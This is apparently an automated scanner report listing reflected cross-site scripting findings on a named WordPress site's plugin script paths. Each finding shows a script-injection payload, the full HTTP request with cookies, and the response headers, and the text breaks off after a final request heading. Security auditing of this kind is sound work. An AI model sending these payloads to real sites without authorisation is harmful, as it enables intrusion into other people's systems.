HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:49 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674569+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82075"><script>alert(1)</script>60d6f3a8f48 was submitted in the REST URL parameter 3. This input was echoed as 82075\"><script>alert(1)</script>60d6f3a8f48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins82075"><script>alert(1)</script>60d6f3a8f48/superslider-show/js/lightbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:51 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674571+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674571; expires=Thu, 02-Feb-2012 19:22:51 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3bd6"><script>alert(1)</script>741621bff9a was submitted in the REST URL parameter 4. This input was echoed as d3bd6\"><script>alert(1)</script>741621bff9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-showd3bd6"><script>alert(1)</script>741621bff9a/js/lightbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:53 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674573+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674573; expires=Thu, 02-Feb-2012 19:22:53 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:53 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cceed"><script>alert(1)</script>accf7f7fb5a was submitted in the REST URL parameter 5. This input was echoed as cceed\"><script>alert(1)</script>accf7f7fb5a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/jscceed"><script>alert(1)</script>accf7f7fb5a/lightbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:55 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674575+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674575; expires=Thu, 02-Feb-2012 19:22:55 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:55 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0971"><script>alert(1)</script>0fb985cf187 was submitted in the REST URL parameter 6. This input was echoed as b0971\"><script>alert(1)</script>0fb985cf187 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/js/lightbox.jsb0971"><script>alert(1)</script>0fb985cf187 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:58 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674578+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674578; expires=Thu, 02-Feb-2012 19:22:58 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:58 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cd21"><script>alert(1)</script>f0633c6001b was submitted in the REST URL parameter 1. This input was echoed as 4cd21\"><script>alert(1)</script>f0633c6001b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site4cd21"><script>alert(1)</script>f0633c6001b/wp-content/plugins/superslider-show/js/slideshow.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674562+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674562; expires=Thu, 02-Feb-2012 19:22:42 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:42 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eae35"><script>alert(1)</script>8c6c868a5fe was submitted in the REST URL parameter 2. This input was echoed as eae35\"><script>alert(1)</script>8c6c868a5fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contenteae35"><script>alert(1)</script>8c6c868a5fe/plugins/superslider-show/js/slideshow.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:43 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674563+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674564; expires=Thu, 02-Feb-2012 19:22:44 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:44 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 553e1"><script>alert(1)</script>04e840362be was submitted in the REST URL parameter 3. This input was echoed as 553e1\"><script>alert(1)</script>04e840362be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins553e1"><script>alert(1)</script>04e840362be/superslider-show/js/slideshow.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:45 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674566+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674566; expires=Thu, 02-Feb-2012 19:22:46 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:46 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8abcc"><script>alert(1)</script>ee5f31f45bb was submitted in the REST URL parameter 4. This input was echoed as 8abcc\"><script>alert(1)</script>ee5f31f45bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show8abcc"><script>alert(1)</script>ee5f31f45bb/js/slideshow.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674568+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2e98"><script>alert(1)</script>2c612aa2c9c was submitted in the REST URL parameter 5. This input was echoed as f2e98\"><script>alert(1)</script>2c612aa2c9c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/jsf2e98"><script>alert(1)</script>2c612aa2c9c/slideshow.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:50 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674570+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674571; expires=Thu, 02-Feb-2012 19:22:51 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e8b9"><script>alert(1)</script>c2af7f63bf8 was submitted in the REST URL parameter 6. This input was echoed as 9e8b9\"><script>alert(1)</script>c2af7f63bf8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/js/slideshow.js9e8b9"><script>alert(1)</script>c2af7f63bf8 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:52 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674573+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674573; expires=Thu, 02-Feb-2012 19:22:53 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:53 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa93b"><script>alert(1)</script>da1c1d240d4 was submitted in the REST URL parameter 1. This input was echoed as fa93b\"><script>alert(1)</script>da1c1d240d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitefa93b"><script>alert(1)</script>da1c1d240d4/wp-content/plugins/superslider-show/js/slimbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:54 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674574+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674575; expires=Thu, 02-Feb-2012 19:22:55 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:55 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 902a8"><script>alert(1)</script>5782793370 was submitted in the REST URL parameter 2. This input was echoed as 902a8\"><script>alert(1)</script>5782793370 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content902a8"><script>alert(1)</script>5782793370/plugins/superslider-show/js/slimbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:58 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674578+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674578; expires=Thu, 02-Feb-2012 19:22:58 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:58 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53329
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd602"><script>alert(1)</script>efee82710e was submitted in the REST URL parameter 3. This input was echoed as cd602\"><script>alert(1)</script>efee82710e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginscd602"><script>alert(1)</script>efee82710e/superslider-show/js/slimbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:59 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674579+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674580; expires=Thu, 02-Feb-2012 19:23:00 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:00 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53330
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32cfb"><script>alert(1)</script>2790aaf3378 was submitted in the REST URL parameter 4. This input was echoed as 32cfb\"><script>alert(1)</script>2790aaf3378 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show32cfb"><script>alert(1)</script>2790aaf3378/js/slimbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:01 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674581+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674581; expires=Thu, 02-Feb-2012 19:23:01 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:01 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e12e6"><script>alert(1)</script>f6e7648297d was submitted in the REST URL parameter 5. This input was echoed as e12e6\"><script>alert(1)</script>f6e7648297d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
